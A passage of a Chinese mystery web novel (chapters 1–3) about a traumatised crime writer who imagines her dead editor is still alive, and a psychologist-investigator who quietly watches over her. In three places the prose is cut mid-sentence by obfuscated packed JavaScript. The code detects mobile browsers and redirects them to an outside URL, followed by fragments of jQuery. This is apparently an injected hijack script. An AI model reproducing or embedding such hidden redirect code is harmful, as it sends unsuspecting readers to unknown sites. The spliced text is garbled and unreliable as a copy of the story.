《他在晨光尽头》 1. 第 1 章 午后的阳光斜切进废弃工厂,将生锈的工字钢架映成暗金色的栅栏。 原安被压倒在冰冷的水泥地上,伤痕累累,奄奄一息。 视野被血污切割得支离破碎,温热液体从腰腹处的伤口汩汩涌出。意识在涣散边缘挣扎,如风中残烛,明灭不定。黑暗如海水,自四面八方涌来,温柔地包裹住了她。 原安顺从本能合上眼,想要就此沉入那片没有痛苦的黑暗。 可是,不行。 一个声音自心底响起。 她的证据还没递出,真相尚未揭开,若就这样不明不白死在这里,那些枉死的冤魂还要继续背负污名在深渊里再等多少年? 原安睁开了眼。 她咬着牙,艰难抬手,用尽残存气力,将压在自己身上早已没了气息的男性躯体向一旁推去。 而后,一道明亮光线,自被挡住的斜前方刺入双眼。 原安抬手微挡,强撑意识,循光望去。 便见在她侧前方不足十米的位置,有一扇半敞开的、连接着外界的巨大铁门! 生的希望如同强心剂,瞬间注入四肢百骸。 原安没再犹豫,艰难翻身,拖着被流弹击中的小腿,朝着那扇铁门努力爬去。 冰凉粗糙的水泥地面布满了碎石和玻璃碎片,原安每一寸挪动都像在刀尖上翻滚。 手肘磨破,鲜血渗出,每一次呼吸都能带起胸腔里撕裂般的灼痛。 但偏偏是这痛楚,无比清晰地提醒着她,她还活着。 是的,她还活着。 原安咬紧牙关,抬手抹去糊住眼睛的粘稠血污。 所以,她必须活着走出这里! 尖锐耳鸣如钢针穿透颅骨,视野因失血过多再次模糊成一片晃动的色块。 原安疼得早已没了知觉,她只是藉由着肌肉惯性,一步一步机械地向前爬去。 空旷死寂的工厂里,她只听得见自己粗重如破风箱般的喘息。 不知爬了多久,指尖终于触到了铁门边缘。 原安支起上身,想要推开铁门呼救。 却在这时,她感觉到一个冰冷坚硬的金属,悄无声息抵住了自己的后背。 心脏骤然停跳。 喉间哑然无声。 她听到身后传来扳机扣动的轻响,在死寂中清晰得如同惊雷。 “砰——!” 狂暴的、裹挟着毁灭性灼热的巨力,一瞬间狠狠凿穿她的左肩胛骨。原安只觉得眼前骤然炸开一片刺目的白,旋即便被无边无际的浓稠黑暗彻底淹没。 原安脱力,重重摔向地面。 她很清楚今天自己是彻底走不出这里了。 不甘、愤怒、绝望,无数复杂的情绪在这一刻支撑起了残存的意志。 原安狠狠转身,誓要记住这掐灭她最后生机的人。 逆光中,站着一个充满恶意的模糊剪影。 原安涣散的瞳孔最后只捕捉到了对准她眉心的黑洞洞的枪口。 “再见了。” 冰冷得没有一丝温度的声音,从阴影里飘来,如同恶魔的低语。 而后,枪声响起。 绝望如冰水灌顶。 “啊——!” 原安猛地从书桌上弹起,心脏在胸腔里疯狂擂动。 她惊魂未定地环顾四周。 没有工厂,没有硝烟,没有血腥。 只有宽敞的房间,熟悉的书架,暖黄的台灯,和泛着冷白光的电脑屏幕。 这是她的书房。她在栖霞区的别墅。 她终究还是活着爬出了那座地狱。 无意识地抬手,原安抚上自己的左肩胛骨。单薄衣料下有一道狰狞疤痕,清晰记录着她与死神的一次擦肩而过。 思绪,不受控制地飘回一年前。 一年前,她因协助望海市局侦破高纯石英材料领域系列非正常死亡事件而遭遇绑架。虽然警方救援及时,让她死里逃生,但她还是因为重伤失血和巨大的精神冲击,在恢复意识后,出现了严重的认知障碍。 她遗忘了案件的关键线索,就连常规的记忆都出现了偏差。 但作为两起案件唯一的幸存者,她的证词偏偏不可或缺。 因此,半年前,当原安确认脱离危险期,针对性的心理治疗便随之启动。 专案组为她聘请的主治医生,是国内顶尖心理学专家江逾白教授。江教授年过五旬,精神矍铄,经验老道,身兼数职,日常事务极度繁忙。因此,治疗之余的病程记录和日常访谈,江教授就全权交给了他的科研助理——他最得意的博士研究生沈澈负责。 这位沈助理年轻俊朗,眉眼深邃,轮廓分明,显然是个混血儿。虽是在读,却已显露出了极高的专业天赋。他思维缜密,观察敏锐,总能从细微处捕捉到被忽略的线索。更难得的是,他身上没有丝毫学究气,举止沉稳从容,和原安交流时,总是带着一种超越年龄的耐心与包容。 他在江教授主导的治疗间隙里,与她沟通,听她倾诉,为她疏导。他的存在,几乎成了她治疗初期晦暗焦灼情绪中难得的平静。 到了后来,在原安眼中,沈澈甚至成了一个比江教授还要让人安心的存在。 可惜的是,江教授前后尝试了多种前沿疗法,收效甚微。除了最后的致命一枪,原安始终无法想起更多画面。 最终,是沈澈主动按下了暂停键。 他在综合评估了所有记录以及她的精神状态后,向江教授和专案组提交了一份关于暂停高强度治疗的建议书。 而正是这份基于详尽观察与专业研判的报告,为她争取到了回家静养的权利。 离开专案组的那一天,她曾经问过沈澈这么做的真正原因。那时沈澈只简单地向她解释说,她当下出现的记忆偏差与认知障碍,其实是大脑强制启动终极保护机制的结果。究其原因,除却她所受到的生理创伤外,更多的,是来源于她所受到的精神创伤。那段被大脑强行锁住的记忆,很大可能痛苦程度远超阈值。以原安目前的精神状态,若强行唤醒,只怕会精神崩溃。 想到这里,原安将自己更深地蜷进宽大的办公椅中,忧思如藤蔓缠绕。 直觉告诉她,事情远没有沈澈说得那么简单。 “又做噩梦了?” 温柔的嗓音,带着毫不作伪的关心,如初春的暖阳,瞬间驱散了一室沉闷。 原安循声抬头,便见她的编辑顾巍正倚在书房的门框边。 暖黄灯光照亮顾巍清隽的侧脸,漂亮的丹凤眼里落满星辰。 原安遥遥望着这幅记忆里无比熟悉的画面,紧绷了一夜的神经,终于奇迹般松弛了下来。 “你这一晚上去哪儿了?”原安忍不住嗔怪,声音里带着自己都没察觉到的依赖。 “我说大小姐,是谁大半夜抱着抱枕哀嚎,威胁我说今晚要是吃不到皮薄底脆的生煎包,就从此封笔、彻底罢工的?”顾巍抬脚,缓步走进书房,明明是控诉的语气,眼底却是化不开的宠溺,“为了你这口吃的,我可是凌晨一点开着车转遍了望海市的大街小巷。结果呢?东西买回来了,某位喊饿的人倒好,直接趴在桌上呼呼大睡。” 他走到桌边,拿起放在原安手边被冷落许久的打包袋,贴着掌心感受了下温度,随即眼睫低垂,幽幽怨怨地睨向她:“都凉透了。” 原安顿时心虚,嘿嘿干笑两声。 她狗腿地拉过顾巍的手,企图像小时候那样撒娇卖萌蒙混过关。 顾巍的手带着初春夜风般的寒凉,完全不似记忆里的温暖干燥。原安握了好久,都没有半点回暖的迹象。 她不禁皱眉,难得长了一分钟良心,觉得自己真是罪大恶极,竟然大半夜赶还在养伤的顾巍出门买生煎。 愧疚感瞬间飙升,原安一秒起身,拉过顾巍,将他按进了还带着自己体温的椅子里:“我的错我的错,来来来,坐下一起吃夜宵~” 原安说着,动作麻利地拆开打包盒的盖子。 腾腾热气早已散尽,几个蔫头耷脑的生煎挤在打包盒里,看上去无精打采。 原安撇撇嘴,莫名有些嫌弃。 她挑挑拣拣,终于拈起两个品相最好的,放进小碟,上贡似地推到顾巍面前。 而后,她才靠回桌边,从剩下的生煎包里,拈了个勉强看得过去的,送到自己嘴里。 酥脆焦香的面底因为吸收了过多水分变得软韧难嚼,面皮失去筋道,凉透的肉馅黏糊糊地裹在舌尖,带着一股挥之不去的油腻感。 原安皱眉,当即就不想吃了。 可目光下垂,触及安静坐在椅子上的顾巍,想到他为了自己这口吃的,带伤在寒夜里奔波的身影,那点子嫌弃又被硬生生地咽了回去。 于是屏住呼吸,努力忽略糟糕的口感,原安开始小口小口啃着那只凉透的生煎包。 “算了,别吃了。”顾巍实在看不下去,无奈含笑开口。 原安如蒙大赦,一秒放下生煎,笑眯眯蹲下身,蹭到顾巍身边。 她刚想说些讨巧的话,结果一抬头,就看到自己电脑屏幕上那刺目的空白文档,登时吓得直接从地上跳起来。 “不许看!” 原安手忙脚乱挡住电脑屏,声音是明晃晃的心虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447661|185168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但为时已晚,这个角度,这个大屏,这么明显,想也知道,顾巍早就看到了。 于是,原安放下手,原地立正站好,惴惴不安垂眸看向顾巍。 但那双漂亮的丹凤眼里却没有半点责备。 “还是写不出来?”顾巍温柔开口,一如往常。 原安肩膀瞬间就垮了下来。 她沮丧地点头承认。 在这个自幼相伴、如兄如父的男人面前,她根本无需伪装坚强。 绑架案后,写作便从享受变成了折磨。无论起笔初衷是什么,万千思绪总会不由自主地拐向最后那个黑洞洞的枪口。推理作家的本能如同失控的引擎,驱使着她在有限的画面里不断挖掘、分析、拼凑、延展,企图寻得更多的蛛丝马迹。 于是,空白的文档上记下的不再是崭新的故事,而是陈旧的、不断复写的梦魇。更可怕的是,这样的次数多了,大脑竟形成了条件反射。只要她坐在书桌前,打开电脑,那段血腥的终章便会自动播放。 无法停止,无法控制,无法逃离,恶性循环。 她不知道自己还能撑多久,也许在下一次循环里,她就会彻底疯掉。 “顾巍,”她靠回桌边,声音干涩,带着不易察觉的颤抖,“你说,我以后会不会……再也写不出来了?” 顾巍没有回答,只是沉默地看着她。 一时间,偌大的书房,只剩下空调的嗡鸣。 原安低垂着头,看着桌上的生煎,感觉自己的心似乎也在这难言的沉默中逐渐冷却。 好在顾巍没有真的沉默很久。 他又一次在她崩溃前,主动开口捞起了她:“我觉得,沈老师说得对。” 原安:“?” 她疑惑偏头,实在不明白顾巍为什么要在这种时候提起沈澈。 “我记得沈老师说过,你现在的精神状态,不适合再回忆过去。”顾巍的声音沉稳温和,不知是不是原安的错觉,她总觉得这话里似乎总有几分沈澈的口吻,“或许我们可以放下一切,出去走走,放松放松心情?” “那,去哪里呢?” “没记错的话,原婉阿姨的忌日好像快到了。或许我们可以一起去趟云州,上云栖禅寺扫墓?”顾巍提议。 “好主意!”原安眼睛一亮,几乎要认为他们心意相通,“那我这就去订票。噢,还得提前给张队发条微信报备行程!” 原安一边说着,一边步伐轻快朝外走去。 而在她身后,顾巍依旧坐在办公椅上,静静目送她离开。 书房的门被轻轻带上,隔绝了房内最后一丝生气。顾巍的身影逐渐黯淡,缓慢融入窗外的夜色,如同一个随时都能消散的脆弱梦境。 几乎在同一时刻,城市的另一端,望海市局专案组办公室。 沈澈修长的手指在手机屏幕上轻轻一点,“确认支付”的提示亮起,一张从望海开往云州的高铁车票购买成功。 荧白的光映着他轮廓分明的侧脸,那双混合着东方含蓄与西方锐利的桃花眼里,看不出太多情绪。 敲门声适时响起。 “进。”沈澈放下手机,声音平稳,带着一贯的温和。 门被推开,市局刑侦支队副支队长张远走了进来。他步履稳健,带着职业刑警特有的干练。 “沈组,”张远将一份文件递给沈澈,恭敬开口,“原小姐刚刚发来微信,告知了近日的出行计划。” 沈澈接过报告,目光快速扫过纸页上的文字。当视线触及首页底端清晰列出的车票信息时,准备翻页的手指,几不可察地顿住。 “后天早上十点的高铁,目的地,云州?”沈澈挑眉,“她有说具体行程吗?” “据说是母亲忌日将近要去扫墓。”张远说到这里,神情变得有些古怪,“可是,她母亲林心楠的遗体明明还在我们法医室的冷柜里呀。” 沈澈垂眸,目光落回一旁自己尚未锁屏的手机上。 购票成功的界面完整地呈现了他刚刚购买的车票信息。诡异的是,他所购买的车票的列车班次、车厢编号、出发时间、乃至目的地,都与报告上原安购买的车票信息完全一致。 会是巧合吗? 沈澈蹙眉,右手无意识摩挲下颚。 “张队,如果我没记错的话,原小姐这个月的心理回访日,是在明天?” “是的,明天上午八点。”张远道,“原小姐在微信里也提到了,她会在出发之前,先来一趟市局完成回访。” “通知她不必过来了。”沈澈站起身,动作从容优雅,“明日,我将亲自登门拜访。” 2. 第 2 章 清晨的阳光透过巨大的落地窗,在地板上投下斜长光斑。原安坐在客厅柔软的沙发上,正在将行程中可能用到的衣物分门别类。 昨晚在她发出微信后不久,张队便给出了回复。在简洁而官方地肯定了她的行程报备并预祝她旅途愉快后,张队在末尾体贴备注,为方便她本次出行,本月的定期回访将改由沈助理亲自登门。 还真是贴心呢。 原安这样想着,动作利落地将叠好的衣物放进敞开的行李箱。 “叮咚——” 清脆的门铃声响起,有访客上门。 “请稍等。”原安站起身,扬声回应。 快步穿过客厅,走到玄关,原安打开了厚重的实木大门。 门外站着的男人,芝兰玉树,气质沉静,正是沈澈。 他今天穿了一套浅灰色西装,裁剪利落,面料挺括,完美贴合他颀长挺拔的身形。精心打理的黑发下,是一张融合了东西方优渥骨相的脸。他个子很高,肤色冷白,眉骨深邃,鼻梁高挺。寻常可见的金丝眼镜后,一双含情潋滟的桃花眼深不见底。 阳光落在他宽阔的肩头,为他渡上一层柔和的金边。他仅仅是站在那里,不言不语,周身便散发出一种难以言喻的温雅与矜贵。 “早上好,原小姐。”他微微颔首,声音清越,如玉石相击,“我来进行这个月的例行回访。” “早上好,沈老师。”原安侧身将他让进别墅,脸上浮现礼貌得体的微笑,“辛苦你特意跑一趟。” 她蹲下身,打开门边的实木鞋柜,从最底层取出一双崭新的室内拖鞋。 沈澈的目光顺着她的动作,不动声色滑入鞋柜。 鞋柜共有四层,顶上两层整齐码放着款式各异的精致女鞋,第三层,孤零零摆着一双男士皮鞋。这皮鞋的款式沈澈认的,是某名牌前几年推出的全球限量款,价格并不便宜。皮鞋鞋面铮亮,没有一丝褶皱,厚厚灰尘覆盖其上,无声诉说着它长久以来的沉寂。 “打扰了。”沈澈在原安转身之前收回视线,弯腰换鞋,跟在原安身后走进客厅。 光洁如镜的地面映出两人一前一后的身影。 “抱歉,我正在收拾行李,所以家里有点乱。”原安略带歉意开口,抬手将他引至客厅的长条沙发边,“你随便坐,我去给你泡杯茶。” “有劳。”沈澈微微颔首,目光随即扫过整个空间。 玄关整洁,客厅明亮,摊开的行李箱静静躺在沙发旁柔软的地毯上。行李箱旁边摆着一张单人沙发躺椅。躺椅正对着沙发,椅面米白,上头铺着一件纯黑男士风衣,一眼望去,像个突兀的人形剪影,在晨光中显得格外诡异。 沈澈的目光不自觉停在了那件纯黑男士风衣上。 这风衣是名牌高定,款式经典,质地精良,同样不是当季新品。不同于鞋柜里崭新的皮鞋,这件风衣的肘部和袖口处都有清晰的磨损痕迹,想来这风衣主人应该是个伏案工作者,且这风衣该是主人曾经很钟爱的款式。 沈澈的视线在风衣上转了几圈,而后下移,落回地毯上摊开着的行李箱上。 不大的行李箱被塞得鼓鼓囊囊,合理最大化利用了每一寸空间。衣物、证件、化妆品、充电线分门别类,摆放得井然有序。 行李箱底层整齐叠放着已经配成套的女性衣物,沈澈扫了一眼,搭配合理,涵盖了初春出行的所有可能,品味优雅,完美契合原安自身的气质。由此可见,原安在收拾自己衣物时,逻辑相当清晰。 但这种清晰的逻辑在行李箱的上层却出现了突兀的断裂。 一件显然属于深冬的厚重男士羊绒外套摊在行李箱的一角,上头随意搁着一条棕色格纹围巾和黑色条纹领带。这些衣物摆放随意,像是在寻找合适的位置,又或者是根本不知道该如何放置。 沈澈英挺的眉峰微微蹙起。 几乎是下意识地抬眼,沈澈的视线再次在行李箱附近的沙发、躺椅、乃至行李箱敞开的隔层间反复逡巡。 若是他想的没有错,他应该要能看到更多未配成套的男性衣物。 可惜他错了。 除了孤零零铺在躺椅上诡异的风衣外套外,他没有再看见一件多余的男性衣物。 这太奇怪了。 一个人整理行李的逻辑是稳定且自洽的。由下层衣物的整理方式可知,原安习惯将物品成系统成套地收纳。若按此逻辑,上层的男性衣物也该如此整理。但上层的男性衣物不仅不成套、不应季,更诡异的是它们都只集中在上半身,而对于下半身的裤装乃至鞋袜,全然缺失。 等等,鞋袜…… 沈澈骤然想到进门时看到的鞋柜里那双落了灰的崭新如初的男士皮鞋。 镜片后的目光瞬间悲悯。 恰在此时,身后传来原安端着茶盘走近的脚步声。 沈澈瞬间敛去所有情绪,恢复了一贯的温雅平和。 原安将一杯热气氤氲的清茶轻轻放置在他面前的茶几上,笑容得体,礼数周全:“请用。” “多谢。”沈澈端起茶杯,姿态优雅,语气温和如常,“张队和我说,你近期要出趟远门,放松下心情。想好去哪儿了吗?” “云州青岚山。”原安理理裙子,在他侧面的单人沙发上落座,“母亲忌日将近,得去青岚山扫墓。之后我打算在那里小住几日,去周围采个风,找找新书的灵感。” “扫墓?”沈澈眉梢微扬,想起报告中那趟与自己完全重合的列车班次,试探问道,“我听闻青岚山上的云栖禅寺香火鼎盛,环境清幽,寺内设有专属的往生堂,日常由僧众看护诵经。莫非令堂安眠于此?” “沈老师误会了,”原安微笑摇头,语气平和,“云栖禅寺是千年古刹,能安眠于寺内往生堂的,皆是世代供奉、与佛门结下深厚法缘的百年望族。那是寺内的规矩,也是数百年香火情谊的见证。我母亲并非世家出身,她的安息之所是在寺庙后山竹林间的一处清净所在。那里风景很好,青竹环绕,远离喧嚣,想来母亲也是喜欢的。” “那片竹林幽深静谧,的确是个涤荡尘虑的好地方。”沈澈点头,语调中带着恰到好处的赞同,目光状似无意扫过摊在地上的行李箱,话锋随即一转,“看原小姐收拾的行李,是约了朋友同行?” “恩,和我的编辑一起。”原安应得自然,脸上漾起一抹安心的笑意,她抬手指向旁边的躺椅,“他……” 下一秒,话音与动作同时僵住。 视线所及之处,躺椅上空无一人。唯有那件旧风衣静静铺展,勾勒出一个诡异又孤独的人形轮廓。 原安的笑容凝固在唇边,漂亮的杏眼里掠过一丝极淡的茫然。 “奇怪。”她柳眉微蹙,低声呢喃,“明明刚刚还躺在这儿的?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447662|185168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈澈握着茶杯的手猛地收紧。 不过一月未见,原安的精神怎么破碎得这么厉害? 脑中闪过诸多猜测,面上却分毫不显,沈澈顺着原安的目光看向空椅,随即以一种恍然想起的、极其自然的口吻接道:“啊,你是说顾先生吗?方才我进来时,他刚好醒了,同我打过招呼后,说是临时想起点紧要事情,就先去楼上书房处理了。” “啊,真是失礼啊。”原安礼节性回了一句,显然没有全盘接受这个解释。她抬手轻抵下颚,目光本能地在躺椅上逡巡,试图寻找蛛丝马迹以倒推真实的来龙去脉。 “说起来,绑架案后我也许久未见顾先生了。”沈澈不动声色地截断她的思绪,将话题引向一个她绝对无法拒绝的方向,“他当时伤势不轻,如今恢复得怎么样了?” 提及顾巍的伤势,原安的注意力果然被带偏。 “说实话,这一点我也不是很清楚,但我认为,他根本没有在好好养伤。”原安说着,脸上浮现出真实的关切,语气也不经意带上了一丝小小的埋怨,“绑架案后,公司给他批了长假让他静养,可他不知道从哪里听说了我因为后遗症噩梦连连、灵感枯竭,以至于假期还没结束,就跑来找我了。” 说到这里,原安像是突然想到了什么似的,忍不住叹气:“其实这次去青岚山采风,就是顾巍的提议。我原本对此充满期待,但现在却有些犹豫了。” “沈老师,方才你也看到了,大白天的,顾巍坐在躺椅上看我整理行李都能看睡着,你说会不会其实他的身体并未康复,现在一切只是在硬撑?” 说到这里,原安眼中忧色更重,她看向沈澈,真诚发问:“或许我应该取消这次行程?” 沈澈闻言挑眉,镜片后的目光扫过原安眼下淡淡青影,心里就有了计较。 “依我看,大可不必。”沈澈放下茶杯,温和笑道,“方才我进门时与顾先生打过照面,我认为,他所呈现的疲态,与其说是伤重未愈,其实更像是通宵达旦、睡眠不足所致。” 说到这里,他弯了眉眼,语气轻松甚至带上了几分笑意:“你们二位,该不会为了这趟云州之行,熬了一天一夜吧?” 原安闻言一怔,下一刻,她眼中的忧虑如晨雾遇阳,缓缓褪去。 一丝安心的、如释重负般的明媚笑意自她唇边漾开。 那笑意很浅,如蜻蜓点水,倏忽而逝,但那眼中盛星、初阳照雪的模样,还是让沈澈感受到了一丝春回大地的温暖。 沈澈莫名就想起了一年前他在首都特侦局自己的办公室里,第一次看到从望海市局传来的关于原安的资料。 照片上的少女对着镜头笑得明媚温柔,附在照片后的文字简历却是一条比一条让人惊艳。 13岁为杂志写稿,16岁崭露头角,18岁横扫大奖,20岁凭借卓越的推理能力以外聘专家的身份协助警方办案,如今不过24岁,在同龄人普遍还在为工作烦恼的时候,这个卓尔不群的天才少女已经站在了普通人难以企及的高度,那么意气风发却又那么谦逊有礼。 而如今,这个聪慧绝伦的少女,仅仅因为他临时编织的一句漏洞百出的谎言,就绽放出了真心的笑容。 她不是看不透,她只是选择了自欺欺人。 为了留住那个实际上早已经不在的人。 莫名地,沈澈就感到了心疼。 3. 第 3 章 “沈老师真是明察秋毫。”原安笑容温软,语气明显较之前轻快,“确实如此。昨儿凌晨临时决定出游后,我们就忙着订票、做攻略、收拾行李,一直到现在,都没合过眼呢。” 随即,她兴致勃勃地同沈澈说起了之后的行程安排,眼中重新浮现对旅程的期待。 沈澈安静倾听,不时颔首,目光温和专注,心底的苦涩却如墨滴入水,无声蔓延。 又闲聊了几句青岚山的天气和行程安全的注意事项,沈澈适时起身告辞:“时间不早了,我就不多叨扰原小姐了。旅途务必小心,若有任何不适或需要,随时联系我或张队。” “好的,多谢沈老师费心。” 原安将他送至玄关,态度依旧礼貌,却多了一份不易察觉的亲近。 厚重的实木大门在身后合拢,将别墅内的温暖光景与虚幻安宁彻底隔绝。 沈澈走进初春微凉的晨风里,方才在室内的温润温和缓慢褪去。 他拿出手机,拨通了张远的电话。 “张队,我刚刚结束了对原小姐的回访。”他的声音低沉清晰,仔细听,似乎还带着一分沉重,“根据我的观察,情况似乎比预想的更糟。原小姐所表现出的行为模式,已经不仅仅只是停留在简单的选择性失忆上,她还出现了典型的持续性联结症状,深度远超预期。” “她无法接受顾巍的死亡,所以利用自己的职业能力和超高智商,在潜意识里完整创造了顾巍的存在,并且完美地融入进自己的日常生活。” 沈澈说到这里,不禁垂眸。 他之前看原安资料的时候,就发现,原安和顾巍的感情非常好,绝不仅仅只是作者与编辑的关系。他们两人青梅竹马,一同长大,原安每一个重要的人生节点,都能在其中看到顾巍的影子。 他曾经猜过两人的关系,但直到今日亲眼所见,他才发现他们的关系远远比他想象的还要亲密。 鞋柜里那双男士皮鞋,崭新如初却落满灰尘,虽为男款,但品位风格档次却和上层的女鞋如出一辙,所以,这双皮鞋大概率不是顾巍本人买的,而是原安买给顾巍,却因为种种原因,顾巍直到死亡都没有穿过一次。 行李箱底层女装和上层男装的逻辑割裂,不是因为原安思维突然混乱,而是因为她家里根本就没有顾巍完整成套的衣物。 她潜意识里拒绝承认他的死亡,所以在出行时会下意识地为他准备行李。她想要通过整理旧物,去拼凑他的存在,可他生前留在她家里的东西那么少,零零碎碎,东拼西凑,却还是凑不齐能够按照她的逻辑收入行李箱的完整一套。 她潜意识里应该很难过吧。 所以,才会在他抛出一个随口编造但稍微合理的理由时,放弃思考不作深究地像抓住救命稻草一般紧紧抓住。 所以,才会在遇到一个愿意配合她演戏的人的时候,放下警惕,给予亲近。 想到这里,沈澈抿了抿唇,心情突然有些复杂:“她对这个由她亲手创造出来的‘顾巍’依赖性强,逻辑自洽,并且深度沉溺,甚至对于即将到来的双人旅行心怀憧憬。” “这太危险了,张队。”沈澈下结论道,“她沉浸在幻觉里,对潜在风险毫无警觉。单独出行,尤其是在涉及扫墓这么个极有可能触发回忆的环境下,极易引发不可控的精神波动。基于她的PTSD和认知障碍,我认为专案组必须介入,在她外出期间提供必要的、非打扰性的安全确认以及心理支持保障。” “我明白了,沈组。”张远的声音也严肃起来,“你的专业判断非常重要。我们现在立刻安排……” “不必额外调动人手造成不必要的紧张,这样反而会刺激到她。”沈澈打断他,语速平稳却带着掌控全局的力度,“我明天正好也要启程去云州青岚山为叔叔扫墓,巧的是,我和她的高铁座位就隔了一个过道。所以,这一趟,我来负责。” “啊?”张远有些吃惊,“沈组,你亲自负责?” “是。毕竟我现在在原小姐面前的身份,是江教授的科研助理。跟进、记录研究对象的心理状态变化,并提供专业范围内的心理支持保障,本就是我的份内工作。而且对比其他人,她对我的防备心相对较低。” 说到这里,沈澈想了想,又补充道:“不过考虑到原小姐本身极强的警惕心,这样吧,张队,我需要你在一个小时后联系她,就说专案组经过综合评估,出于对她目前的健康状态和单独远行的潜在风险考虑,决定在她出行期间,临时安排一位心理支持人员对她进行必要的、非打扰性的安全确认与心理关怀,目的是让她安心旅行,无需有压力。通知时,强调这是可能和保障性措施,不要提及我的名字,避免给她造成被监视的感觉。江教授那边我会同步。后续与原小姐的对接工作和行程安排,都由我直接负责。” “明白。”张远立刻领会了沈澈的用意,“我会告诉她,这是官方的关怀程序,而非针对她个人。” “很好,就这样办。” 沈澈挂了电话,目光沉沉再次望向那栋精致的别墅。 晨光勾勒出它宁静的轮廓,落在他眼中却蒙上了一层淡淡阴霾。 他转身,沿斜坡下行,向临时停车区走去。 却在这时,眼角余光里却突然出现了一个奇怪的小男孩。 男孩约莫十岁,瘦瘦高高,身上穿着一件洗得发白的蓝白校服,肩上背着一个开了线的旧书包。他的手臂膝盖都沾着新鲜泥渍,脚上一双大众款运动鞋,鞋底开胶,鞋面很脏,看上去与周围的高档别墅格格不入。 他的神情既紧张又羡慕还好奇,正沿着之前沈澈走过的斜坡缓慢上行,挨家挨户核对着门牌号,不断接近原安所在的10号栋。 沈澈目光一凛,转过身,装作散步,悄然缀在男孩身后。 男孩对此毫无觉察,他甚至不知道,自己这一路的反常行为早已引起了10号栋别墅附近几位“邻居们”的注意。 “邻居们”极其自然地向男孩方向缓慢靠拢,然后他们就看到了,跟在男孩身后的沈澈对着他们极其轻微地摇了摇头,并用食指在身侧隐蔽地点了两下。 几位“邻居”心领神会,慢慢自然退回原位,继续各忙各的。 男孩最终停在了原安的10号栋前。 他在确认门牌上的数字无误后,就熟门熟路地向别墅后院方向摸去。 沈澈紧随其后,利用绿化、转角完美隐蔽了身形。 然后他就看到男孩快速跑到了原安别墅后头玻璃花房的侧面。 男孩环顾四下,确认周围没人后,麻利地将一个牛皮纸信封塞进花房窗边一个装饰性陶罐的底部。 “嘿,小朋友,干嘛呢。”沈澈适时从花房另一侧转出,脸上带着慵懒的、仿佛主人家发现邻居孩子调皮般的无奈笑意,“我太太不喜欢别人动她的花。” “太,太太?”男孩显然被沈澈吓了一跳,声音都抖了,“不是说这里就只住着一个漂亮姐姐吗?” “谁跟你说的呀?这么缺德。”沈澈抬腿走近,高大身形无形封住小孩去路,“我们都结婚四年了。” 他说得太自然、太理直气壮,男孩一下子也被唬住,低头坦诚道:“是……是一个帽子压得很低、声音有点哑的叔叔说的。他说给我100元,让我在今天上午十一点半的时候,把信塞到这个陶罐下面。” “然后呢?”沈澈轻提裤脚,半蹲下身,笑容温和,循循善诱,“他还说了什么?” 男孩的目光轻微左移,抿着唇,有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447663|185168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好意思。 沈澈没有催他,只是蹲在原地,安安静静地等着。 他的气势并不迫人,但有的时候,沉默也是一种威压。 没一会儿,男孩受不了了,小小声嗫嚅道:“他说塞完之后,让我在附近找个地方躲好,等一个小时,看看有没有坏人在漂亮姐姐收到信之前就把信拿走了。” “他说,如果有坏人提前拿走,也不要阻止,我的安全最重要。一个小时后,我就可以走了。下午放学后,去学校后门的小巷里找他,他另外再给我50元的跑腿费。” 沈澈微不可查眯了眼,虽然面上还是笑着,但眼底已经结出一片寒霜。 原安生活规律,每天中午十二点左右会来花房侍弄花草,而男孩放置信件的位置非常显眼,原安几乎一眼就能看到。 所以,如果小男孩顺利将信投放,并看到原安拿走了信,那就说明警方对原安的保护力度约等于零;如果小男孩顺利将信投放,但在原安拿到信之前有人拦截,那就说明警方的保护力量存在,至于具体的强度、部署,可以通过男孩的后续描述进行倒推,或者直接利用男孩,引诱可能的便衣去小巷,进行近距离观察;如果小男孩直接有去无回,当场就被便衣给扣了,那就说明警方对原安保护严密,那么下一次,这个幕后人很可能就会换一种更为隐蔽的方式下手。 这不仅仅是一个简单的跑腿任务,这根本就是一场针对他、针对望海警方的低成本的双重试探。 那个一直隐藏在幕后、同他博弈了整整一年的人,到底还是忍不住动手了。 只是,那个幕后人没有想到的是,今天沈澈会临时起意,亲自登门,且因为一些原因,直到现在还未离开。 想到这里,沈澈笑了一下,眼眸一垂,破局之法已然成型。 “小朋友,想靠自己赚钱是好事,但以后这种来历不明的任务还是别接了。”沈澈说着,非常自然地从陶罐底下抽出信,当着男孩的面,收进自己的西装里袋。 他掏出钱包,从中抽出一张50元人民币放进小孩手里,半哄半吓道:“信呢,我收下了,你呢,也别去小巷了。小巷僻静,真遇上坏人,死在里面都没人知道。” 